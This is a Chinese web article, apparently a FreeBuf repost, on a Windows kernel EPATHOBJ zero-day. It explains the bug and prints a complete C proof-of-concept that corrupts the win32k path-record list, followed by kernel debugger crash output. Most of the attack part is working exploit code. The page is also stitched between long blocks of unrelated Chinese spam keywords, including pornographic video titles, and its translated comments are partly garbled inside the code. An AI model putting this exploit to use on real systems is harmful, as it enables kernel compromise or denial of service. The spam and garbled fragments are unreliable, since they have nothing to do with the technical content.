精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Windows內(nèi)核EPATHOBJ 0day漏洞

安全 漏洞
Windows內(nèi)核EPATHOBJ 0day漏洞是通過對PATHALLOC()進行內(nèi)存壓力測試爆出的,首先利用PATHREC>指向相同的的用戶空間PATHREC EPATHOBJ::bFlatten它會”自旋”進行無限鏈表遍歷。

Windows內(nèi)核EPATHOBJ 0day漏洞是通過對PATHALLOC()進行內(nèi)存壓力測試爆出的,首先利用PATHREC>指向相同的的用戶空間PATHREC EPATHOBJ::bFlatten它會”自旋”進行無限鏈表遍歷。

如:PathRecord->next = PathRecord;

雖然它會自旋,但它會通過另一個線程池來打補丁(pprFlattenRec)到列表中的節(jié)點(因為它是在用戶空間)。

首先,創(chuàng)建一個”監(jiān)控線程( watchdog)”,atomically補丁列表,因為pprFlattenRec過早退出,bug不能被利用會導(dǎo)致HeavyAllocPool

pprFlattenRec :.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) 
.text:BFA122BD cmp eax, 1 ; Check for failure 
.text:BFA122C0 jz short continue 
.text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit

所以要創(chuàng)建一個這樣的節(jié)點列表:

PathRecord->Next = PathRecord;PathRecord->Flags = 0;

然后 EPATHOBJ::bFlatten()自旋:

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this){
    /* ... */

    for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
    {
      if ( ppr->flags & PD_BEZIER )
      {
        ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
      }
    }

    /* ... */}

 

可以先清掉另一個線程,然后再進行線程修復(fù)(因為在userspace是可以做到的)來觸發(fā)該漏洞

/ / EPATHOBJ的:: bFlatten()

第一個pprFlattenRec代碼塊:

if ( pprNew->pprPrev )
pprNew->pprPrev->pprnext = pprNew;寫入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter){     ## 此程序超時會等待一個mutex對象,然后修補受損的鏈表指向一個漏洞。
    
    LogMessage(L_INFO, Watchdog thread %u waiting on Mutex () %p”,
                       GetCurrentThreadId(),
                       Mutex);     if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        ## 使主(main)線程無法調(diào)用FlattenPath(),
        ## 因為內(nèi)核EPATHOBJ::bFlatten()自旋可以被清理(clear).
        ## 然后打補丁列表來觸發(fā)我們的exploit.
        while (NumRegion–)
            DeleteObject(Regions[NumRegion]);         

LogMessage(L_ERROR, InterlockedExchange(%p, %p);”, 

&PathRecord->next, &ExploitRecord);       

InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);     } else {
        LogMessage(L_ERROR, Mutex object did not timeout, list not patched”);
    }     return 0;} PathRecord->next = PathRecord;PathRecord->prev = (PVOID)(0×42424242);PathRecord->flags = 0;ExploitRecord.next = NULL;ExploitRecord.prev = 0xCCCCCCCC;ExploitRecord.flags = PD_BEZIERS;

在Win 8下的輸出:

kd> g
********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ********************************************************************************Use !analyze -v to get detailed debugging information.BugCheck 50, {cccccccc, 1, 8f18972e, 2}*** WARNING: Unable to verify checksum for ComplexPath.exe
*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )Followup: MachineOwner---------

nt!RtlpBreakWithStatusInstruction:810f46f4 cc              int     3
kd> kv
ChildEBP RetAddr  Args to Child              
a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
kd> .trap a03aba2c
ErrCode = 00000002
eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
win32k!EPATHOBJ::pprFlattenRec+0x82:8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
kd> vertarget
Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTSBuilt by: 9200.16581.x86fre.win8_gdr.130410-1505Machine Name:Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)System Uptime: 0 days 0:02:30.432
kd> .bugcheck
Bugcheck code 00000050Arguments cccccccc 00000001 8f18972e 00000002

 

以下是示例代碼POC:

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS#endif#include <windows.h>#include <assert.h>#include <stdio.h>#include <stddef.h>#include <winnt.h>#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS#endif#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013//

POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion;
HANDLE      Mutex;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH   0x00000001#define PD_ENDSUBPATH     0x00000002#define PD_RESETSTYLE     0x00000004#define PD_CLOSEFIGURE    0x00000008#define PD_BEZIERS        0x00000010typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[0];} PATHRECORD, *PPATHRECORD;


PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord;

DWORD WINAPI WatchdogThread(LPVOID Parameter){

    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
                       GetCurrentThreadId(),
                       Mutex);

    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        while (NumRegion--)
            DeleteObject(Regions[NumRegion]);

        LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);

        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);

    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }

    return 0;}int main(int argc, char **argv){
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    HRGN        Buffer;
    ULONG       PointNum;
    ULONG       Count;

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要從EPATHOBJ::pprflattenRec()鍵入PD——BEZIERS,這樣就可以觸發(fā)無限循環(huán)。
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

    ExploitRecord.next  = NULL;
    ExploitRecord.prev  = 0xCCCCCCCC;
    ExploitRecord.flags = PD_BEZIERS;

    LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                     NULL,
                     NULL,
                     0,
                     GENERIC_ALL,
                     NULL));

    Mutex = CreateMutex(NULL, TRUE, NULL);

    // Get a handle to this Desktop.
    Device = GetDC(NULL);

    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.

    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);


    LogMessage(L_INFO, "Flattening curves...");

    // Begin filling the free list with our points.
    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);
        EndPath(Device);
    }

    LogMessage(L_INFO, "No luck, cleaning up");

    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);

    ReleaseDC(NULL, Device);
    WaitForSingleObject(Thread, INFINITE);

    return 0;}// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...){
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

    return TRUE;}

 

責(zé)任編輯:藍雨淚 來源: FreebuF
相關(guān)推薦

2009-09-09 08:54:50

2011-03-15 15:14:22

2009-07-06 13:15:07

2021-10-06 13:48:50

0day漏洞攻擊

2025-11-13 09:39:01

2015-05-20 16:34:14

2013-12-02 14:50:25

2021-09-10 11:41:20

漏洞Windows 微軟

2021-07-27 11:01:02

Windows

2013-05-24 14:02:42

2022-03-25 13:41:55

漏洞網(wǎng)絡(luò)攻擊Quantum(量子

2011-08-26 11:44:01

2022-03-30 09:09:39

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2020-12-27 21:17:43

漏洞Google網(wǎng)絡(luò)攻擊

2017-02-07 11:00:26

2010-07-22 10:13:34

2019-05-28 15:55:18

2011-02-28 09:34:55

2020-12-17 10:28:27

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2010-01-20 16:13:15

點贊
收藏

51CTO技術(shù)棧公眾號

国产精品国产精品国产| 精品影片一区二区入口| а√天堂8资源在线官网| 国产美女视频一区| 97香蕉久久超级碰碰高清版| 亚洲女优在线观看| 欧美经典一区| 欧美日韩在线视频一区| 一区二区在线观看网站| 黄色美女一级片| 日韩影院精彩在线| 久久久人成影片一区二区三区观看| 欧美图片一区二区| 久久国产精品免费一区二区三区| 精品久久久久久中文字幕大豆网| 亚洲精品高清国产一线久久| 成人午夜福利视频| 精品一区二区免费视频| 国产91av在线| 免费日韩在线视频| 欧美激情国产在线| 亚洲国产精品小视频| 亚洲一级片网站| 亚洲风情在线资源| 曰韩精品一区二区| 亚洲一区三区电影在线观看| 亚洲av电影一区| 国产精品18久久久久久久网站| 国产精品va在线| 国产成人在线播放视频| 中文在线播放一区二区| 最近2019年手机中文字幕| 艳妇乳肉豪妇荡乳xxx| 欧州一区二区三区| 884aa四虎影成人精品一区| 女人扒开屁股爽桶30分钟| 欧美日韩在线视频免费观看| 日韩码欧中文字| 日韩av在线电影观看| 香蕉视频免费在线看| 成人小视频免费在线观看| 91亚洲精品久久久| 国产又爽又黄又嫩又猛又粗| 日本一区中文字幕| 国产精品av在线播放| www.国产色| 国产精品普通话对白| 97国产一区二区精品久久呦| 久操视频免费在线观看| 欧美1区2区视频| 久久手机免费视频| www.99re7| 综合精品久久| 欧美大片在线免费观看| 欧美成人精品一区二区免费看片| 91精品一区二区三区综合在线爱| xxx欧美精品| 色老板免费视频| 中文无码久久精品| 欧美精品video| 国产大片中文字幕| 亚洲国产午夜| 88xx成人精品| 怡红院av久久久久久久| 免费一区二区视频| 91免费版网站入口| 亚洲成人777777| 波多野结衣视频一区| 久久精品国产一区二区三区日韩| 日本国产在线| 国产精品女同一区二区三区| 杨幂一区欧美专区| 午夜dj在线观看高清视频完整版| 亚洲高清不卡在线| 最近免费中文字幕中文高清百度| 欧美日韩在线精品一区二区三区激情综合| 欧美又粗又大又爽| 先锋资源在线视频| 国产精品白丝av嫩草影院| 日韩精品久久久久| 久久一级免费视频| 黄色精品一区| 国产成人精品久久二区二区| 在线免费观看一区二区| 国产精品99久久久| 久久精品国产一区二区三区日韩| av网站在线播放| 亚洲精品视频一区二区| 欧美 日韩 国产 高清| а√天堂资源国产精品| 欧美电影精品一区二区| 草草影院第一页| 国产精品久久久久9999赢消| 国内精品久久久久影院优| 国产一级精品毛片| 高清不卡一区二区| 欧美日韩一区二区三区在线视频| 免费av网站在线观看| 偷窥少妇高潮呻吟av久久免费| 亚洲无吗一区二区三区| 久久综合给合| 亚洲网站在线看| 精品97人妻无码中文永久在线| 久久先锋资源| 不卡一卡2卡3卡4卡精品在| 国产永久免费高清在线观看视频| 一区二区三区欧美亚洲| 国产主播中文字幕| 卡通动漫精品一区二区三区| 久久天堂av综合合色| 午夜精品免费观看| 成人av电影在线播放| 一区二区精品免费视频| 天堂在线中文网官网| 欧美一区二区二区| 国产aaaaaaaaa| 性8sex亚洲区入口| 国产福利久久精品| 久久久久久久久免费视频| 色综合久久久久久久| 手机免费看av片| 一区二区三区毛片免费| 国产成人亚洲综合91| 天天综合永久入口| 亚洲一二三四在线| 久久久久久国产精品日本| 日韩国产欧美一区二区| 日韩免费高清在线观看| 熟妇高潮一区二区高潮| 一区二区三区在线播| wwwwxxxx日韩| 国产中文字幕一区二区三区| 2020久久国产精品| 人妻无码中文字幕| 亚洲一级电影视频| 亚洲麻豆一区二区三区| 欧美欧美全黄| 99久久精品久久久久久ai换脸| 欧美精品电影| 欧美日韩精品一区二区三区 | 欧美日韩伦理一区二区| 亚洲免费一在线| 九九九在线观看| 91性感美女视频| 国产视频九色蝌蚪| 欧美理伦片在线播放| 欧美精品videossex88| 亚洲精品免费在线观看视频| 亚洲精选免费视频| 日本中文字幕有码| 亚洲福利久久| 久久久久天天天天| 美女100%一区| 中文综合在线观看| 国产露脸91国语对白| 亚洲女性喷水在线观看一区| 日本亚洲一区二区三区| 欧美日韩亚洲三区| 国产精品xxxx| 无码小电影在线观看网站免费 | 99视频在线免费观看| 欧美性video| 精品性高朝久久久久久久| 99热只有这里有精品| 久久精品欧美一区二区三区不卡| 牛夜精品久久久久久久| 四季av在线一区二区三区| 91系列在线播放| 国产精品一区hongkong| 日韩激情片免费| 五月激情丁香网| 亚洲视频中文字幕| 中文字幕永久免费| 久久精品成人| 国产对白在线播放| 精品三级av| 国产精品高潮呻吟久久av野狼| 看黄网站在线| 日韩成人在线视频观看| 亚洲午夜无码久久久久| 亚洲狠狠丁香婷婷综合久久久| 日韩免费高清一区二区| 蜜桃精品视频在线| av在线com| 精品国产精品久久一区免费式| 成人久久18免费网站图片| 白浆视频在线观看| 色综合伊人色综合网| 国产乱淫片视频| 天涯成人国产亚洲精品一区av| 美国黑人一级大黄| 成人小视频免费在线观看| 天天爱天天操天天干| 国产精品av一区二区| 日本一区二区三区四区高清视频 | 久草视频在线免费看| 2017欧美狠狠色| 小日子的在线观看免费第8集| 国产精品女主播一区二区三区| 一区二区三区精品国产| 日本国产精品| 147欧美人体大胆444| 亚洲wwww| 国内精品久久久久| 毛片av在线| 亚洲男人的天堂在线| 性一交一乱一乱一视频| 欧美亚洲国产bt| 日韩 欧美 中文| 亚洲尤物在线视频观看| 99精品中文字幕| 久久久久久毛片| 99久久久无码国产精品性波多| 麻豆精品一区二区三区| 黄色国产精品视频| 亚洲精品人人| 久久久99精品视频| 99国产精品免费视频观看| 日本一区二区在线| 亚洲精品无吗| 狠狠干一区二区| 91成人午夜| 97免费高清电视剧观看| 欧美一级做一级爱a做片性| 日本免费久久高清视频| 精精国产xxxx视频在线播放| 欧美激情视频给我| h片在线播放| 久久精品91久久香蕉加勒比| porn视频在线观看| 亚洲欧美综合v| 欧美一区二区三区少妇| 日韩精品久久久久久福利| 性xxxxbbbb| 亚洲精品在线网站| 日本美女一级片| 亚洲第一区第一页| 五月激情婷婷综合| 亚洲国产天堂久久国产91| 人妻一区二区三区免费| 日韩电影免费观看中文字幕| 少妇av在线播放| 亚洲激情第一页| 亚洲av成人精品一区二区三区在线播放 | 美女精品久久久| 2020国产在线视频| 欧美成人精品影院| 在线观看wwwxxxx| 久久99久国产精品黄毛片入口| 日本三级在线观看网站| 欧美极品在线播放| f2c人成在线观看免费视频| 国内伊人久久久久久网站视频 | 午夜一区二区三区免费| 26uuu欧美| 天天舔天天操天天干| 国产精品久久久99| 欧美老熟妇一区二区三区| 一区二区三区四区不卡视频| 黄色小视频在线免费看| 大桥未久av一区二区三区| 国产成人精品777777| 欧美中文字幕一区| 国产一区二区三区四区视频 | 日本成人一区| 在线观看久久久久久| 黄色成年人视频在线观看| 欧美福利小视频| 色一区二区三区| 亚洲国产精品视频| www.久久精品| 国产精品一久久香蕉国产线看观看| 欧美片第一页| 国产狼人综合免费视频| 香蕉大人久久国产成人av| 精品无码久久久久国产| 欧美一级精品片在线看| 男同互操gay射视频在线看| 在线日本高清免费不卡| 日本999视频| 国产91在线|亚洲| 久久中文字幕人妻| 国产精品电影院| 日韩熟女精品一区二区三区| 在线亚洲+欧美+日本专区| 国产免费一区二区三区免费视频| 亚洲国产女人aaa毛片在线| 最近高清中文在线字幕在线观看| 欧美精品一二区| sese综合| 99久久综合狠狠综合久久止| 国产成人短视频在线观看| 成人免费看片视频在线观看| 久久国产99| 亚洲综合中文网| 欧美激情一区二区三区| 日本三级片在线观看| 欧美久久久久久蜜桃| 性xxxx搡xxxxx搡欧美| 久久成人综合视频| 成人天堂yy6080亚洲高清| 国产精品乱码| 97久久夜色精品国产| 久久精品国产精品亚洲色婷婷| 久久精品国产99| 久久丫精品国产亚洲av不卡| 一区二区三区在线观看动漫| 中文字幕在线日亚洲9| 亚洲国产成人91精品| 麻豆传媒视频在线| 国产成人精品一区二区三区| 成人在线视频中文字幕| 一区二区三区四区在线视频 | 中文一区二区在线观看| 日本一级淫片色费放| 91精品国产综合久久久蜜臀粉嫩 | 亚洲视频小说图片| 五月天中文字幕| 亚洲美女久久久| 国产夫妻在线| 国产精品视频入口| 一区二区在线| 天天干天天色天天干| 欧美激情一区三区| 在线观看国产区| 亚洲摸下面视频| 亚洲一区资源| 久久伊人资源站| 在线综合欧美| 久久精品女同亚洲女同13| 亚洲大尺度视频在线观看| www.黄色片| 欧美高跟鞋交xxxxhd| 亚洲开心激情| 日韩在线观看a| 国产.欧美.日韩| 国产一级久久久| 精品国产麻豆免费人成网站| 国产精品一区hongkong| 国产精品久久精品国产 | 亚洲另类色综合网站| 国产精品久久久午夜夜伦鲁鲁| 爽爽爽爽爽爽爽成人免费观看| 成人交换视频| 一区二区三区av在线| 韩国欧美国产一区| 欧美日韩精品在线观看视频| 日韩一区二区电影网| 怡红院av在线| 国产伦精品一区二区三区免费视频| 亚洲欧洲日本mm| 美女又爽又黄视频毛茸茸| 欧美日韩国产丝袜另类| 三级在线电影| 国产精品久久久久久久久久久新郎 | 国产精品妹子av| 91国内精品视频| 欧美精品一二区| 免费观看成人www动漫视频| 欧美一区二区三区爽大粗免费| 国产亚洲欧美日韩在线一区| 特级西西444www高清大视频| 久久九九亚洲综合| 白嫩白嫩国产精品| 青青在线视频免费| 中文字幕一区二区在线观看| 精品国产九九九| 2019中文字幕在线| 日韩久久精品| 日韩精品xxx| 欧美日韩免费看| 3p视频在线观看| 国产伦精品一区二区三毛| 老**午夜毛片一区二区三区| 中文字幕乱码av| 亚洲电影免费观看| 卡通欧美亚洲| 玖玖精品在线视频| 成人av在线一区二区| 天堂av免费在线观看| 久99九色视频在线观看| 校园春色另类视频| 在线播放黄色av| 欧美午夜激情视频| 黄视频网站在线| 欧美日韩另类综合| 国产在线日韩欧美| 国产精品免费av一区二区| 在线电影欧美日韩一区二区私密| 999久久久精品一区二区| 妞干网在线免费视频| 玉米视频成人免费看| 风间由美一区| 国产精品一区二区三区在线观| 青青草国产成人99久久| 国产精品111| 久久久精品久久久| 欧美码中文字幕在线| 国产十八熟妇av成人一区| 欧美人妇做爰xxxⅹ性高电影 |